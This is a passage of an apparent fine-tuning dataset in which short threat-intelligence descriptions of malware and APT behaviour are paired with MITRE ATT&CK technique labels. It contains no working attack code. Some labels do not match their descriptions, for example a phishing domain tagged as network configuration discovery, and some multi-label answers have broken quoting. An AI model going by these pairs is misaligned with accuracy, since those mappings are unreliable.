            },
            {
                "role": "user",
                "content": "After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex can wipe deleted data from all drives using \"cipher.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP or HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has deleted the MSI file after installation."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compiled HTML File (CHM) are commonly Microsoft help files. These file will be a compiled HTML files that includes documents , image , scripts etc. Hackers will abuse these files to embed malicious payload with CHM files. CHM files can be executed by HH.exe , which is a Microsoft windows utility. Adversaries use this techniques to evade AV or application blacklisting techniques."
            },
            {
                "role": "assistant",
                "content": "T1218 - Signed Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkHydrus has used \"-WindowStyle Hidden\" to conceal PowerShell windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto can collect data from user directories."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks. No guest credentials were observed being stolen at the compromised hotels; however, in a separate incident that occurred in Fall 2016, APT28 gained initial access to a victim’s network via credentials likely stolen from a hotel Wi-Fi network.  Upon gaining access to the machines connected to corporate and guest Wi-Fi networks, APT28 deployed Responder"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions"
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This would save them the trouble of needing to load additional malware to exfiltrate files or other material. We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts. Furthermore, Stealth Falcon’s use of JavaScript to profile and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon is an advanced persistent threat (APT) group that has been active since 2013. From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen Pencil has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea can use rundll32 for execution on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM can execute Powershell commands sent from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, we were able determine a unique, hard-coded user agent used for the C2 communications: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Using AutoFocus, we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery', 'T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to capture VoiceIP application audio on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to disable routing and the Firewall on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor used by  created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "My blog post, “Remote Mac Exploitation Via Custom URL Schemes”, describes the technical details of how WindShift (ab)used custom URL schemes to infect macOS systems"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda checks for the existence of a Registry key and if it contains certain values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  versions have an embedded DLL known as MockDll that uses  and regsvr32 to execute another payload."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nomadic Octopus has used malicious macros to download additional files to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used the \"tasklist\" command to search for one of its backdoors."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer infected victims using JavaScript code."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has obtained and used tools such as Nirsoft WebBrowserPassVIew, Mimikatz, and PsExec."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer’s 61850 payload component enumerates connected network adapters and their corresponding IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As we mentioned, the adversary used a technique called template injection. A .docx file is a zip file containing multiple parts. Using the template injection technique, the adversary puts a link towards the template file in one of the .XML files, for example the link is in settings.xml.rels while the external oleobject load is in document.xml.rels. The link will load a template file (DOTM) from a remote server. Some of these template files are renamed as JPEG files when hosted on a remote server to avoid any suspicion and bypass detection. These template files contain Visual Basic macro code, that will load a DLL implant onto the victim’s system"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 routinely removed their tools, including custom backdoors, once remote access was achieved."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has gathered detailed knowledge of an organization's supply chain relationships."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has researched software code to enable supply-chain operations, most notably for the 2017 NotPetya attack. Sandworm Team also collected a list of computers using specific software as part of its targeting efforts."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty”, the name we use for the framework, from the PDB path string. A “bot id” consisting of computer name, user name, and volume serial number separated by dashes"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The account names visually look similar to legitimate government organization names or other trusted third-party entities"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2 Successful payload download Astaroth’s initial payload is a malicious .lnk file, a common delivery method used by threat actors"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used Impacket's smbexec.py as well as accessing the C$ and IPC$ shares to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The document may also display the fake message “This document is protected” to entice users to enable content and execute malicious code. The .docx file contained embedded x86 and x64 versions of the payload DLL so that the appropriate version was dropped depending on the target operating system"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "conducts brute force attacks against SSH services to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used port 6789 to accept connections on the group's SSH server."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For readers unaware of ngrok, this site is a simple reverse proxy used to let Internet-based users connect to servers located behind firewalls or on local machines that don't have a public IP address"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has accessed victim security and IT environments and Microsoft Teams to mine valuable information."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy creates a backdoor through which remote attackers can upload files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware creates a scheduled task entitled “IE Web Cache” to execute a malicious file hourly."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) These lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange (DDE) protocol in order to gain access to victim machines. 2) Once the Gallmaker attackers gain access to a device, they execute various tools, including"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "chinapolicyanalysis.org 185.130.212.168 Domain used for spear phish sender e-mail address and to host malicious documents"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky can gather a list of all processes running on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  malware samples use a common function to identify target files by their extension.  malware families can also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a module to clear event logs with PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using commands, including tasklist, jobs, ps, or taskmgr, to reveal the running processes on victim devices."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot collects the users of the system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used regsvr32.exe to execute a server variant of  in victim networks."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can delete the original executable after initial installation in addition to unused functions."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can overwrite Registry settings to reduce its visibility on the victim."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of opening a command terminal."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot uses brute-force attack against RDP with rdpscanDll module."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Domains The RoyalCli backdoor was attempting to communicate to the following domains:  News.memozilla[.]org video.memozilla[.]org  The BS2005 backdoor utilised the following domains for C2:  Run.linodepower[.]com Singa.linodepower[.]com log.autocount[.]org  RoyalDNS backdoor was seen communicating to the domain:  andspurs[.]com  Possible linked APT15 domains include:  Micakiz.wikaba[.]org cavanic9[.]net ridingduck[.]com zipcodeterm[.]com dnsapp[.]info   Published date:  10 March 2018   Written by:  Rob Smallridge"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT has the capability to take screenshots of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be added as a service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has used cmd.exe to run a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has packed malware and tools."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has gathered system information using \"systeminfo\"."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles utilized RDP throughout an operation."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "packs a plugin with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can use `cmd.exe` for discovery actions on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and install a program from a remote C&C server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sqlmap can be used to automate exploitation of SQL injection vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang performs discovery of permission groups \"net group /domain\"."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can log keystrokes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IndigoZebra has established domains, some of which were designed to look like official government domains, for their operations."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has obfuscated strings with base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
